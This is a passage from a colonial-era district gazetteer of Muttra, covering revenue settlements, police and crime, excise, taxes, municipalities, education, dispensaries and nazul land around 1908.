areas of these classes of soil were held by non-resident cultivators at uniform rates; but of the rent paid on home lands and irrigated lands generally no examples could be found. Either no distinction at all was recognised by the people in the rent payable on dry and wet land, or else it was veiled by the all round rate of so much an acre paid on holdings composed of both wet and dry lands. The settlement officer had, therefore, to estimate rates of rent for these classes, and this he did on the basis of his rates for unirrigated outlying lands. Allowances were made for local peculiarities in assessing, and in the case of cultivating brotherhoods a policy of leniency was invariably adopted in any case of doubt.

THE REVENUE

The rates ultimately adopted, applied to the soil areas under cultivation in the various parganas, gave a total valuation of Rs. 32,63,671 for upland or bangar mahsals, and Rs. 1,32,612 for khadar mahals, both revenue paying and revenue free. These sums warranted a demand at half assets of Rs. 16,98,145. They were, however, considerably modified in the process of assessment and the estimated assets of the revenue paying area of the dis trict, as finally determined, amounted to Rs. 31,64,580 for both bangar and khadar mahals. This sum justified a half asset revenue of Rs. 15,82,290; but after all allowances for proprietary communities and on other accounts had been made by the settlement officer, a demand of only Rs. 15,34,274 was fixed and this was subsequently modified by the Board of Revenue. The enhancement on the old revenue fixed at the settlement under Regulation IX of 1833 amounted to Rs. 1,65,462 or 12 per cent., and ranged from 16 per cent. in Muttra to 6 per cent. in Sahpau. To this must be added Rs. 97,630 on account of the 84 villages of Farah transferred from Agra, which were settled by Mr. Smith on similar principles to those pursued in the settlement of the rest of Agra, bringing up the total demand of the district to Rs. 16,28,094. This sum was not exigible at once, for progressive assessments were fixed in a number of villages where the enhancement was large, and the full demand was not reached till the year 1882-83. The incidence of the final demand per acre of cultivation was Rs. 2-5-8, but the difference between the eastern and western tracts was marked. In the trans-Jumna parganas it was Rs. 2-12-8 per cultivated acre; in the cis-Jumna it was Re. 1-14-0. The incidence was heaviest in Sahpau and Sadabad, where it fell at Rs. 3-5-0 and Rs. 3-1-11 an acre respectively. These two rates were the highest then paid in any pargana in the provinces, the rate even in the fertile pargana of Chaprauli in Meerut being only Rs. 3-1-7 an acre. But as the assessments had been based on rents actually paid the only possible conclusion was that Sahpau and Sadabad were among the most highly rented parganas of the province, the rental being in fact over Rs. 7 per acre. The cis-Jumna parganas on the other hand compared with other districts were considered to have been leniently assessed. Thus in Muttra the incidence fell at Rs. 2-0-5, in Chhata at Re. 1-11-10 and in Kosi at Rs. 2-0-2 per acre. In the ghar trait of Etawah, where the physical characteristics are similar to those of western Muttra, the revenue rate was Re. 2-2-9 for Auraiya pargana and Rs. 2-4-0 for Bharthana.

CHARACTER AND WORKING OF THE SETTLEMENT

In their letter, dated December 10th, 1881, the Government of India sanctioned the settlement of the whole district for the full period of thirty years from the date on which the assessments of the several tahsils respectively took effect. They accepted "the conclusions of the Local Government that the settlement has been made on fair and lenient principles, and that the enhance ment of revenue obtained by it will not press with undue severity on the agricultural community." But difficulties very soon began. "The declaration of the revised assessment was followed almost immediately by the severe drought and famine of 1877-78, which made itself felt with exceptional intensity in parts of the Muttra district. In 1881 the director of agriculture had his attention directed to the depressed state of agriculture in certain villages of the Mahaban and Muttra tahsils, and submitted a report which resulted in a partial investigation and the reduc tion of the assessments in a few villages in the Muttra, Mahaban, Chhata and Sadabad parganas. The next four years following the famine, 1877-78 to 1880-81, were marked by one severe epidemic of fever, and the harvests were never above and sometimes below the average. In 1881-82 there was a moderately good kharif and a good rabi crop, to be followed in 1882-83 by another severe drought which nearly necessitated the institution of famine relief works and was the cause of considerable suspensions." The demand in spite of bad harvests seems to have been rigidly collected from the zamindars, and this added to their difficulties. In 1886 Mr. E. B. Alexander was deputed to revise the settlement of villages in which the demand appeared oppressive. In dealing with his proposals in the following year, the general conclusion reached by the Government was that there had been some over-assessment. "The estimated rental on which the first revised demand was based was 10 per cent. in excess of the full rental recorded for the year of settlement, and that again was 19 per cent., in excess of the average rental of five moderately good years. In a tract where the character of the cultivation is exceptionally precarious, not only was no allowance made for variations in the seasons, but the revenue was based on an estimate which was considerably in excess of the full rent-roll of a year of unusual prosperity.

"The area assessed to irrigation rates was very much above what had ever been actually attained, and the actual area at the time of settlement has since decreased in consequence of a general fall in the water level. The combined result of an unduly high demand and the rigidity with which it was exacted has been that, since the year of settlement, a fourth of the land has been sold or hypothecated, and, as these transactions have usually been confined to villages held by petty proprietors, which constitute about a half of the whole number affected, the loss of that class has been in a much higher proportion. The falling off in the number of agriculturists and plough cattle in the total area under cultivation and in the irrigated area, and the spread of the destruc tive baisuri grass, which is the product of poor cultivation, are indications of distress and depression which it would be impossible to remedy except by so lowering assessment as to leave the pro prietors a margin of profit sufficient to replace the losses which have been sustained in agricultural capital." On the whole it appears that the assessment of the trans-Jumna tract and of Farah was considered moderate, but that Mr. MeConaghey was held not to have made sufficient allowance in the cis-Jumna tract for the extent to which this portion of the district was liable to seasonal fluctuations. Rigidity of collections in bad years as much as severity of assessment was held responsible for the collapse of the settlement; and a reduction of revenue amount ing to Rs. 67,695, principally in Kosi, Mahaban, Chhata, Sonkh, Sadabad and Aring, was sanctioned in that year.

Mr. Alexander made some further reductions afterwards, and subsequently Messrs. Cadell, Conybeare and McCallum Wright were engaged in similar work. The last named officer was deputed as settlement officer to act under the supervision of the collector. He revised the assessments of three distinct classes of villages. First came villages situated near the canal which had suffered from over saturation or from a rise of the sub-soil water level sufficient to render kachcha wells unstable. Secondly, there were villages near the Jumna where land had fallen out of culti vation on account of the decrease of population and bad seasons and, having once being given up, could not be reclaimed: and lastly villages on the Bharatpur border which suffered from incursions of wild animals from that state. Mr. Wright's reduc tions amounted in all to Rs. 3,963. In view of the opinions expressed regarding the severity of the assessment in Muttra by the Board in 1887 it is interesting to note that the experience of the local officers was not so condemnatory as that of the Board. In forwarding Mr. Wright's proposals, Mr. Conybeare wrote as fol lows:—" I have several times... expressed the conviction that the deterioration was primarily due to the famine of 1877-78 and its attendant fever, which were more deadly in Muttra than in any other district of the province.... The emigration or death of the cultivators left thousands of acres to the encroach ments of tall grass, which afforded a fresh breeding-ground for wild pigs, antelope, and other destroyers of cultivation. The damage done by these pests probably caused further emigration; and thus the decrease of men and the increase of beasts reacted upon one another. The mischief continued long after the famine was over.... The over-assessment sometimes complained of had in few villages any existence before the settlement first came into force. But naturally enough the demand fixed in times of continued prosperity was too high for times of continued adversity. The settlement officers were not prophets and could not be blamed because the forthcoming famine did not enter into their calcula tions." Further light is thrown on the working of the settlement by the discussion which took place in 1901, regarding a revision of the settlement over the whole district. The Director of Land Records was of opinion that revision would result in an enhance ment of Rs. 82,000 over the district, out of which Rs. 25,000 would be contributed by the western tahsils and the remainder by those lying east of the Jumna. The collector thought that a lakh of rupees might be expected, in fact that practically the revenue fixed by Messrs. McConaghey and Whiteway might be reimposed. The Board of Revenue on the other hand pointed out that the high rate of rent prevailing in eastern Muttra did not suggest concealment of rent, but that on the contrary it was likely to lead to short collections; while deductions for proprietary cul tivation in the large bhaiyachara communities of the tract would certainly have to be liberal. In western Muttra, while admitting the large extension of canal irrigation, the Board were of opinion that in spite of this the tract was a most precarious one, largely under proprietary cultivation of an indifferent order of excel lence. On the whole they thought that a revision of settlement would result in little more than a conversion of the Rs. 30,000 paid on account of owner's rate into land revenue. They considered that a further forcing up of the rent rates in eastern Muttra by the imposition of an enhanced demand would be inadvisable and that the cis-Jumna tract needed a further period for recu peration. They accordingly advised that the current settlement should be extended for another 15 years, so as to allow a full term of about thirty years to elapse since the reductions made by Mr. Alexander.

POSTPONEMENT OF THE REVISION OF SETTLEMENT

The Local Government concurred with the opinion of the Board that a re-settlement of the district should be deferred, but before addressing the Government of India on the matter, it was considered advisable that an enquiry should be made into the circumstances of individual villages, as it was believed that the existing assessments, despite the remissions and reductions already made, pressed heavily in particular instances. As a result of this enquiry it was found that in some 80 mahals the existing demand appeared to stand in need of revision owing to deterioration or other causes, the necessary reduction of revenue in these cases being estimated at Rs. 15,000. As soon as this had been ascertained the sanction of the Government of India*(No. 972-234-.2 dated Simla, June 18th,1902) was obtained to the extension of the term of settlement in the Muttra district for 15 years with effect from the date on which the current assessments expired. The revision of the demand in the 80 villages marked down was carried out by Messrs. Trethewy and Ferard in 1902-03 and 1903-04, the former accomplishing the task in Chhata and Mat and the latter in Muttra, Mahaban and Sadabad. As a result of their labours the demand in 98 mahals comprised in 49 villages of the district was reduced from Rs. 55,865 to Rs. 45,538, or by a sum of Rs. 10,327. In 1908 the condition of the district was specially examined by the collector under the Lieutenant-Governor's orders. That examination led the collector to believe that there had been a considerable decrease in the area in which tenants held occupancy rights and in the area of sir and khudkasht. He attributed this to a heavy revenue assessment. The question whether his views were justified has not been decided and further inquiry is proceeding.

CESSES

In addition to the regular revenue demand the usual cesses are levied, and the amount thus realized in 1907, exclu sive of the canal rates, will be found in the appendix.*(Appendix, table X) The only rates now levied are the owner's and occupier's rates on the canal and the ten per cent. local rate, which dates from 1871, when the various old dues, such as the school, road and district post cesses, were amalgamated and received the sanction of law. The famine cess of two per cent. which originated in 1879 was abolished in 1905, and further relief was afforded in 1906 by the withdrawal of the four per cent. patwari rate which had been in existence since 1889.

POLICE STATIONS

For the purposes of police administration the district is at present divided into 16 police circles, of which only two are wholly or in part urban. The boundaries of these circles in all cases coincide with those of fiscal subdivisions. There are six police stations in the sadr tahsil; these are located at Muttra itself, in the sadr bazar, at Brindaban, Gobardhan, Sonkh and Farah. The kotwali at Muttra has a large rural area attached to it, but the sadr bazar relieves it of all work in civil lines and cantonments. In Chhata there are stations at Chhata, Shergarh, Kosi and Barsana. The whole of Mat tahsil is distri buted over the circles of Nohjhil and Surir. Mahaban is divided between the circles of Raya and Baldeo. Sadabad tahsil falls within the jurisdiction Sadabad and of the Sahpau stations. In addition to these regular stations, outposts are maintained at Jaisingh pura, Ol, Rasulpur, Aring and Jait in Muttra tahsil, at Bajana and Raipur in Mat and at Majhoi in the Shergarh circle.

POLICE FORCE

The police force is under the control of the superintendent, subordinate to whom is a deputy superintendent, a reserve inspector, a prosecuting inspector and two circle inspectors. The regular civil police force consists of 31 sub-inspectors, 43 head-constables and 377 men posted at the various sta tions, and 3 sub-inspectors, 9 head-constables and 89 men in reserve. The armed police comprises one sub-inspector, 20 head-constables and 105 men. They are all employed at headquarters with the exception of those who are detailed for treasury guard at the tahsils and on miscellaneous duties. There are now no municipal police, their place having been taken by the regular police; but the Act XX towns between them still maintain a force of 101 men for watch and ward in the areas administered under the Act. The rural police number 1,539, and there are 104 road police who patrol the roads to Delhi, Dig, Sonkh, Bindraban, Hathras and Sadabad and the road from Chhata to Shergarh.

CRIME

Statistics of criminal justice and cognizable crime for each year since 1896 will be found in the appendix.*(Appendix, table Vll and Vlll ) From these it will be seen that, though the entire criminal work is not heavy, certain crimes such as causing grievous hurt and cattle theft are of unenviably frequent occurrence, and that Muttra is liable to occasional outbursts of dacoity. The caste most addicted to cattle theft is that of Jats, who find plenty of assistance from their fellow tribesmen in contiguous tracts. In some circles they are rivalled by Gujars and Mewatis. In connection with this form of crime the system of blackmail or languri is extensively practised. This is in effect a compromise, by which the victim recovers his stolen property on payment of a certain proportion of the value and on condition of taking no further steps against the thief; and the preliminaries are frequently arranged by go betweens, neither of the parties most concerned coming into contact with one another. The statistics of reported cattle theft, however, are far from being an accurate register of this form of crime for usually the victim of the theft starts off in search of his stolen property without even reporting the matter to the police: if he manages to trace the thieves a compromise is generally effected, and it is only when he has been unsuccessful that belated information is laid at the thana. The district is peculiarly badly situated for the detection of such crime. In addition to the thieves of Aligarh and Agra, there are those of Gurgaon and Bharatpur to contend with, and, when many days, if not weeks, have elapsed since the occurrence of the crime innumerable difficulties in tracing criminals crop up. Added to these the pursuit of fugitives is generally dislocated at the borders of native territory, and, however much the district police may be en rapport with those of the state beyond its bounda ries, criminals are generally able to get a start. The police stations of Sadabad and Sahpau are situated in a corner of the district and flanked on three sides by the districts of Agra, Etah and Aligarh. Advantage of this position is generally taken by dacoits and other bad characters from all four districts to commit various crimes, the detection of which requires considerable activity as well as co-operation from the police of those districts. Outbreaks of serious dacoity occasionally take place in Muttra. During the year 1890 they became extremely frequent, bands of miscreants from Alwar and Bharatpur entering the district and giving much trouble to the local authorities. In 1899 again 12 cases were reported. The district, is also, like Aligarh, infested with wandering tribes of Kunjars, Badhakias and Haburas. The members of these tribes usually confine themselves to petty crime but are sometimes responsible for serious outbreaks of robbery and kidnapping. The district contains a considerable number of Chain-Malahs whose chief occupation is the commission of petty crime at fairs and other gatherings. Some of them, however, go far afield, committing gang burglaries and other serious crimes. Bengal appears to, be their peculiar haunt but whereas in old days they used slow river boats, they now travel by rail. This makes their detection and apprehension more difficult. There is no other unusual feature in the criminal statistics of the district. The crime of infanticide is believed now not to exist. Soon after the passing of the Act for the Prevention of Female Infanticide (VIII of 1870), repressive measures were applied to four villages of Rajputs and two of Ahirs; but even these were relieved from its operation in 1874,, and nothing since has occurred to suggest that this crime exists.

JAIL

There is only one jail in the district, situated in the civil lines close to the Agra-Dehli road. It dates from 1860, and is officially recognized as a third-class jail, capable of accommodating a maximum of 318 prisoners. During 1907, the last year under report, a daily average of 218 prisoners, whether convicts under-trial or civil prisoners, were confined in it, of whom eight were females. The institution does not differ from similar ones elsewhere in the provinces; and the usual simple manufac tures, such as tat-making, mat-making, and darri-weaving are carried on.

EXCISE

Ever since the introduction of British rule excise has formed part of the Government revenue; and the history of the excise administration in early days is similar to that of other districts in the division. It was not until 1877 that any important changes were made in the collection of excise receipts as a result of the recommendations of the excise commission; but it was some years after this that the principles laid down by the commission were applied to Muttra. In 1881 the whole of the trans-Jumna tract, together with the portion of Muttra tahsil lying east of the canal, was brought under the distillery system, while in Chhata and the rest of Muttra the out still system was introduced. In the following year, however, the modified distillery system was adopted in the city and cantonments, and the whole of the district was again farmed to one contractor. This was changed in 1883. A distillery was opened at Muttra; parts of the sadr tahsil and Mahaban were brought under the ordinary distillery system, and the rest of the district was let in farm. In 1884 the distillery system was extended once more to the rest of the trans-Jumna tahsils, but the farming system remained in force in Chhata and the western portion of Muttra tahsil. The next change was the abolition of the farming system in the latter portion of the district and the substitution for it of the outstill system. The Agra canal has generally been taken as the boundary line between the distillery and outstill tracts, but the limit has been frequently altered. In 1906 the outstill system was definitely abolished and the whole district was brought under the ordinary distillery system. There are at the present time 32 shops in the city and district which are licensed to sell country spirit retail. The number has been from time to time reduced. In spite of this reduction both the receipts from and the consumption of liquor have markedly increased. From 1878 to 1887 an average of 2,833 imperial gallons of liquor was consumed and the receipts amounted to Rs. 10,206 on an average every year. Between 1888 and 1897, while the amount of liquor consumed was 5,638 gallons, the receipts only totalled on an average Rs. 11,463 per annum; but, as a result of increased duty and better supervision between 1898 and 1907, the total con sumption reached 7,454 gallons per annum and the annual income for the same period was no less than Rs. 20,575. Licensed ven dors now draw their supplies of liquor from distilleries in neigh bouring districts such as Agra and Meerut. There is no income in Muttra from the fermented liquors called tari and sendhi, which are derived from the palm tree.

HEMP DRUGS

No hemp drugs are manufactured in Muttra and the sale is confined to imported products. Little ganja appears to be consumed, the average sales for the ten years ending in 1907 having been only three maunds. During the same period, how-ever, the consumption of charas, which is obtained from Hoshiar pur in the Punjab, has averaged a little over 19 maunds a year. The drug which is most largely consumed is bhang; but whereas the sales of ganja and charas appear to have slightly increased in spite of the rise of duty those of bhang have decreased. From 1893 to 1897 an average of 299 ½ maunds of bhang was sold in the district, while from 1898 to 1907 the average has only been 239 ½ maunds. There are at present 41 shops in the city and district licensed to sell drugs. Drugs are purchased by Hindus of all grades, especially those of the higher castes. The right of vend is farmed to a contractor, who under the present system generally takes a lease for three years. There has been a considerable expansion in the receipts from the sale of drugs; for, from 1898 to 1907, a sum of Rs. 17,565 was obtained on an average each year compared with Rs. 10,032 between 1888 and 1897, and only Rs. 8,032 in the period from 1878 to 1887.

OPIUM

The consumption of opium in Muttra appears to have decreased. From 1878 to 1887 an average of 43 ½ maunds were sold annually, but in the succeeding decade this fell to 34 maunds. During the ten years ending in 1907 there was a further small decrease, the average amount consumed having been 32 ½ maunds. The receipts have shown but little change during the last thirty years: for the last ten years of the period they have averaged Rs. 20,190 per annum. There are at present 31 shops in the district licensed for the retail sale of opium. Opium is purchased from the Government treasuries by licensed vendors at Rs. 18 per ser, and is sold retail by them at four or five annas per tola

STAMPS

Stamp duties are collected under the Indian Stamp Act (II of 1899) and the Court-Fees Act (VII of 1870). A. table in the appendix*(Appendix ,table Xll ) shows the total receipts from stamps for each year since 1890-91, as well as details for judicial and other stamps. For the first ten years the average aggregate amount thus re alized was Rs. 1,20,716 annually, the receipts from court-fee and copy stamps bringing in Rs. 86,069 or over 70 per cent. of the whole. During the seven years ending in 1906 'the total average has been Rs. 1,41,223, towards which judicial stamps contributed Rs. 1,03,922. The proportion remained practically the same as before. On the whole there has been a very considerable increase in the income from stamps, for between 1877 and 1881 an average sum of Rs. 83,265 per annum only was obtained from this source. The average annual charges from 1900 to 1906 were Rs. 3,645.

REGISTRATION

The registrar of the district is the civil judge of Agra, subordinate to whom are the sub-registrars stationed at the five tahsil headquarters Muttra, Chhata, Mat, Mahaban and Sada bad. The town of Brindaban forms a separate subdivision of its own and has its own sub-registrar in addition to the one at the tahsil headquarters. The allocation of these sub-districts dates from the year 1881, and the office of sub-registrar is held in each case by a departmental officer especially appointed for the pur pose. During the five years ending in 1908 the average num ber of documents registered in the district has amounted to 5,314 annually, the value of the property affected being returned at Rs. 22,11,700. The average receipts on account of the regis tration of these documents during the same period has been Rs. 11,100. The heaviest work is done at the sadr tahsil and the smallest at Brindaban. The number of documents registered at the other four tahsils is similar in each case and considerably less than that at Muttra.

INCOME TAX

Income-tax is now levied under the Income-tax Act (II of 1886), which introduced a very different form of tax to that levied under the old Income-tax Act, abolished in 1872, and the Licence-tax Acts, VIII of 1877 and II of 1878, in that no account was taken of incomes derived from agriculture. The only important modification that has since taken place has been the exemption from taxation of incomes of under Rs. 1,000 according to the law of 1904. The sums realized from this source in each year since 1890-91 will be found in tabular form in the appendix.*( Appendix, table Xlll) From 1891 to 1903 the receipts averaged Rs. 56,083 per annum as against charges of only Rs. 711. Owing to the change introduced in 1904, there has been a marked decline in the receipts, the annual average having been, between that year and 1907, only Rs. 39,597. The bulk of the tax is paid by assessees with incomes below Re. 2,000, the average number of these being 649 since 1904 as compared with 1,878 in the preceding period. The average number of assessees whose incomes exceed Rs. 2,000 is 194. Another table*( Appendix, table XlV) shows the details for Muttra city and the different tahsils. From this it will be seen that the bulk of the tax is paid in the city and Muttra tahsil, after them come Chhata and Mahaban.

POST-OFFICES

The postal arrangements of the district are now wholly under the control of the imperial authorities. The district dak offices, through which the distribution of letters was formerly effected at places in the interior of the district, now no longer exist, though as late as 1901, there were still five such offices situated at Chhoti Kosi, Majhoi, Ral, Shergarh and Karahla. From the list given in the appendix it will be seen that there were in 1908 altogether 38 post-offices in the district, including the head office at Muttra. There were 10 sub-offices and 23 branch offices, the remainder of the total being made up by four combined post and telegraph offices. The number has been nearly doubled during the last 25 years, for in 1881 there were but 15 imperial and six district offices. The mails are carried as far as possible by rail, while in the interior the distri bution is effected by means of runners. The work of the post-office in the district has enormously increased of late years, particularly in regard to letters and parcels. According to the latest returns for the year 1908-09 no less than 3,591,640 let ters and 827,684 newspapers, books, parcels and similar arti cles were received by the post-offices in the district. During the same year money-orders to the amount of Rs. 7,21,977 were issued, while the sum of those paid reached a total of Rs. 14,00,270.

TELEGRAPHS There are telegraph lines along all the railways in the district, and telegraph offices at every railway station. In addition to these there are combined post and telegraph offices, from which telegrams may be despatched, at Muttra city, Muttra cantonments, Brindaban, Kosi and Gokul. The Agra canal has a private wire which runs alongside the canal and connects the head works at Okhla in the Delhi district with the central office at Muttra.

MUNICIPALITIES

Local self-government is represented in the district by the municipalities of Muttra, Brindaban and Kosi, eleven Act XX towns and the district board. The city of Muttra was consti tuted a municipality on July 30th, 1866. Its affairs are now managed by a board of 16 members, excluding the chairman, of whom 12 are elected and the remainder are appointed by the Government. The chairman is elected by the board. Income is derived mainly from an octroi-tax on imports according to a fixed schedule, which has been on several occasions revised. Details showing the income and expenditure under the main heads for each year since 1890 will be found in the appendix.*(Appendix, table XVl) Other sources of income are slaughter-house fees, licence-fees on hackney carriages, rents of lands and houses, pounds and similar miscellaneous items. The average annual receipts for the seven years ending in 1907 were Rs. 77,000 as against an expenditure for the same period of Rs. 71,586. It is interest ing to note that for the ten years preceding the average income and expenditure amounted to Rs. 59,466 and Rs. 59,145 respec tively. Of the various enactments extended to the Muttra muni cipality mention may be made of section 34 of the Police Act (V of 1861), applied in 1886; the Vaccination Act (XIII of 1880), enforced since 1891; and the Prevention of Cruelty to Animals Act (XI of 1890), which was extended to the municipality in 1901.

BRINDABAN

The municipality of Brindaban dates from the year 1866, and local affairs are now managed under United Provinces Act I of 1900 by a board consisting of 12 members excluding the chairman, nine of whom are elected and three appointed by the Government. The latter generally includes the joint magis trate and the tahsildar. The chairman is elected by the board. Income is chiefly derived from an octroi-tax, the only other tax being one on weighmen which was introduced in 1901. Other sources of income are rents, fines and pounds. The details of receipts and expenditure since 1891 are shown in the appendix.The income of the municipality has not improved of late years, for the annual average since 1901 has only been Rs. 22,958 as compared with Rs. 24,680 between 1891 and 1900. The Vacci nation Act (XIII of 1880) was extended to Brindaban in 1891; and section 34 of the Police Act has been in force within municipal limits since 1861.

KOSI

The town of Kosi was constituted a municipality in 1866 at the same time as Muttra and Brindaban. Its affairs are now managed under United Provinces Act I of 1900 by a board consisting of 12 members, nine being elected and three appoint ed as in the case of Brindaban. Income is derived from octroi which was first imposed in 1873, a tax on weighmen first im posed in 1897 and several other miscellaneous items. Details showing the income and expenditure under the main heads for each year since 1891 will be found in the appendix.During the seven years ending in 1907 the receipts and expenditure averaged Rs. 20,676 and Rs. 20,640 respectively, but the total has been increased by a large outlay in 1905-06 on the drainage of the town, the money for which was in part raised by a loan in that year. If the amount of the loan be excluded from the re­ceipts it still remains true that there has been a large expansion in the income of the town; for the average since 1901 comes to Rs. 18,140, as compared with one of Re. 11,600 between 1891 and 1901. Expenditure has been in proportion. The Vaccination Act (XIII of 1880) was extended to Kosi in 1892.

ACT XX TOWNS

Eleven places in the district are administered under the provisions of Act XX of 1856. These comprise the towns of Chhata, Gobardhan, Raya, Sonkh, Mahaban, Gokul, Baldeo, Sadabad and Sahpau, to which the Act was extended in 1859; Farah since 1866; and Shergarh, which was constituted a town under the Act in 1891. The income is in all cases derived from what is generally known as the house-tax, and details of receipts and expenditure will be found in the several articles on those places.All these towns and the village of Nand gaon in addition have been brought at various times under the operation of the United Provinces Village Sanitation Act (II of 1892). Section 34 of the Police Act (V of 1861) has been in force in Sadabad and Gobardhan since 1861, in Baldeo, Mahaban and Gokul since 1870, and in Chhata since 1896.

DISTRICT BOARD

Beyond the. limits of the municipalities and cantonments, local affairs are administered by the district board which dates from 1884, when it took the place of the old district committee. The board consists of an elected chairman, five appointed mem bers who are usually the sub divisional officers, and 12 members elected every three years, three each from tahsils Muttra and Mahaban and two each from Chhata, Mat and Sadabad. The work of the board is of a multifarious description, and the principal duties comprise the management of the educational, medical and veterinary establishments other than those under the direct control of the Government or supported by private bodies; communications, including the local roads, ferries, bun­galows and the like; and several minor departments, such as the administration of cattle-pounds, portions of nazul land, and the maintenance of roadside avenues. The income and expenditure of the board under the main heads since 1891 will be found in the appendix.*(Appendix, table XV)

EDUCATION

The history of state education in Muttra docs not begin till the year 1850. In 1847 the attention of the Government was first directed to the subject and an enquiry was set on foot to discover the exact provisions made for the educational wants of the people. It was then ascertained that there were 211 indi genous institutions in the district which were imparting instruc tion to 2,498 scholars, two-thirds of whom were learning Hindi. These schools appear to have been held usually in the verandah of the principal supporter's house or under some shady tree. The teachers were for the most part Brahmans; some of them received no pecuniary remuneration, and the others, with only two exceptions, received periodical payments of cash or presents of grain. The first step taken in the direction of state-aided education was the establishment of nine vernacular secondary schools at the tahsil headquarters and some of the large towns. But four years later, in 1854, Muttra was chosen as one of the eight experimental districts placed by Mr. Thomason under Mr. H. S. Reid, the visitor-general of schools. It had the honour of being the first district in which village, or as they were called halqabandi, schools were opened. The first lot were started in pargana Kosi by Mir Imdad Ali, then tahsildar, under the orders of Mr. Reid. In 1860-61 there were 173 Government schools and 133 indigenous institutions, or a total of 306, in which 5,012 scholars found instruction. The zila school at Muttra was opened in 1867, and a wave of enthusiasm in favour of female education resulted in the establishment of no less than 21 girls' schools. By 1870-71, owing to a considerable decline in the number of indigenous schools, the number of educational institutions in the district fell to 278, though the number of scholars attending them had risen to 8,029. Writing in that year Mr. Growse expressed " the surprise that he felt on finding the most classic land of Hinduism such a veritable Boeotia." A, large proportion of the village schools, he said, had, so far as he could judge, a purely nominal existence, and it was only in the two common-place and uncharacteristic parganas of Sadabad and Jalesar that they were at all on a par with the neighbouring districts. The reason he gave for this state of affairs was that secular learning in Muttra as in all holy places was somewhat at a discount, the most influential leaders of the people making no pretence to advanced scholarship, while the swarms of priests and devotees of a lower class, who were supported by the endow ments of the innumerable temples, were "as utterly illiterate as the mendicant orders of all religions think it no shame to be."
" When we get to the more remote parts of the district " he continues " such as the old pargana of Nohjhil, the blight of super stition has a less deadening influence; but we are confronted by the new difficulty arising from the peculiarities of race, for there the population are all but exclusively Jats, who, with many fine points in their character, have always been notorious for their aversion to all sedentary occupations." By 1881 the numbr of Government schools had fallen to 141 and that of indigenous schools to 69, the whole being attended by 6,531 pupils; while out of the 21 girls' schools founded in 1868, but five existed in that year.

SCHOOLS

Since 1881 the improvement, though no doubt very gradual, has been steady. The list given in the appendix will show that in 1908 there were two anglo-vernacular, five vernacular secon dary, 50 upper primary and 52 lower primary schools in Muttra, while 89 others of the lower primary class were receiving grants-in-aid. In addition to these there were several private schools belonging to missionary and other bodies, both for boys and girls, and nine girls' schools supported by the Government.

LITERACY

If the extent to which education prevails in a district be gauged by the literacy of the inhabitants, as understood for the purpose of the census returns, it will be found that even in 1881 Muttra as a whole could have compared very favourably with most districts in the province. The progress effected in the matter of education is to some extent illustrated by the returns of successive enumerations. In 1881 the proportion of the male population able to read and write was 6.3 per cent.; this was 1.8 per cent. above the provincial average and exceeded that of every other district in the Agra division, including Agra itself, where, owing to the presence of a large city, the number of literates is calculated to be generally higher than in rural tracts. At the following census in 1891 the proportion had risen to 7.6 per cent., the improvement having been more rapid than in any other dis­trict of the upper Doab except Farrukhabad, where it had been the same. At the last census in 1901 the literate male population amounted to 7.8 per cent. of the whole, this figure being 2.0 per cent. in advance of the provincial average and very much above that of any of the adjoining districts except Agra. Of the total population 4.32 per cent. were able to read and write, and from this it appears that the number of literate females, though greater than in most districts, in insignificant. It amounted to only .32 per cent., though even this was a substantial advance on the returns of 1881, when the figure was only .12 per cent. The proportion of literates in the total population is greater among Hindus than among Musalmans, the respective figures being 4.28 and 3.12 per cent. respectively. This discrepancy extends to both sexes, for 7.74 per cent. of the Hindu males are literate as compared with 5.77 per cent. of the Musalman, the corre sponding figures for females being .28 and .11 per cent. respec tively. As-might be expected from the place that Braj holds in Hinduism, the use of the Nagri character is far more general than that of the Persian. According to the returns of last census 70 per cent. of the literate population employed the Nagri script as against 18 per cent. who used the Persian. The remainder were acquainted in some degree with both.

DISPENSARIES

While the district board is responsible for the maintenance of the medical institutions and the upkeep of the vaccination establishment, the actual control of these departments is vested in the civil surgeon. The first dispensary to be opened in the district was the Sadr dispensary at Muttra city. It was founded in 1865 and is a large building of the first-class, having an average daily attendance of some 40 in-patients and 120 out-patients. The second-class dispensary at Brindaban was opened in 1869, and that at Kosi in the following year. These are in charge of hospital assistants, that at Brindaban having an average daily attendance of about 80 and that at Kosi of about 40 out-patients. In addition to these there is a female dispensary at Muttra which was established in 1894. Besides the funds allotted by the district board for the upkeep of these institutions the Sadr dispensary derives an income from the investment of Rs. 22,000 and the female dispensary from the investment of Rs. 10,500 in Government paper. Contributions to the amount of Rs. 4,378 are also made by the municipalities and the canton ment committee, and some help is obtained from private sub scriptions. There is also a dispensary at Sadabad. This has recently been handsomely endowed by Kunwar Latafat Ali Khan, who has also paid for the erection of the new Hewett ward.

CATTLE POUNDS

There are at present nineteen cattle-pounds in the district, the control of which is in the hands of the district board. They exist at Gobardhan, Farah, Sonkh, Aring, Ol, Jait and Ral in tahsil Muttra; at Chhata, Sahar, Shergarh and Barsana in Chhata; at Mat, Nohjhil and Surir in Mat; Mahaban, Rays and Baldeo in Mahaban; and at Sadabad and Sahpau in Sadabad. The average income derived from these amounts to Rs. 6,050 annually. Cattle-pounds were first established shortly after the Mutiny and their number has varied from time to time. Until the year of the constitution of the district board they were under the direct control of the district magistrate. Besides those administered by the district board there are three others at Muttra, Brindaban and Kosi, the management of which is in the hands of the various municipal boards who also appropriate the receipts.

NAZUL

The lands classified as nazul in the district cover a consider-able area and are of three kinds, being partly under the manage ment of the district board, partly under the control of the collec tor and partly entrusted to the management of the municipal boards of Muttra, Brindaban and Kosi. The area of the first kind is 106 acres, 25 ½ acres of which are normally rented out at an average rent of Rs. 713. The nazul property under the control of the collector covers 1,485 1/2 acres, but of this just half, or 736 acres, is occupied by roads. Of the remainder 176 acres is land fit for cultivation, 79 acres of which are normally rented out at an average rental of Rs. 449; and 443 acres are lands with buildings attached which are hired out at Rs. 1,184 per annum. Of the latter the chief are the large sarai at Chhata and the forts at Nohjhil and Sadabad. The rest consist of miscellaneous plots, measuring in all 130 acres, which are leased at Rs. 359 a year. The area of nazul land, the management of which is vested in the municipal boards of Muttra, Brindaban and Kosi, is 281 ½ acres. Out of this 142 acres are situated in the muni cipality of Muttra, 50 ½ acres being leased out at an average rental of Rs. 750. At Brindaban there are 56 ½ acres which are not leased, and at Kosi there are 83 acres, 19 acres of which are leased out annually at about Rs. 848.

References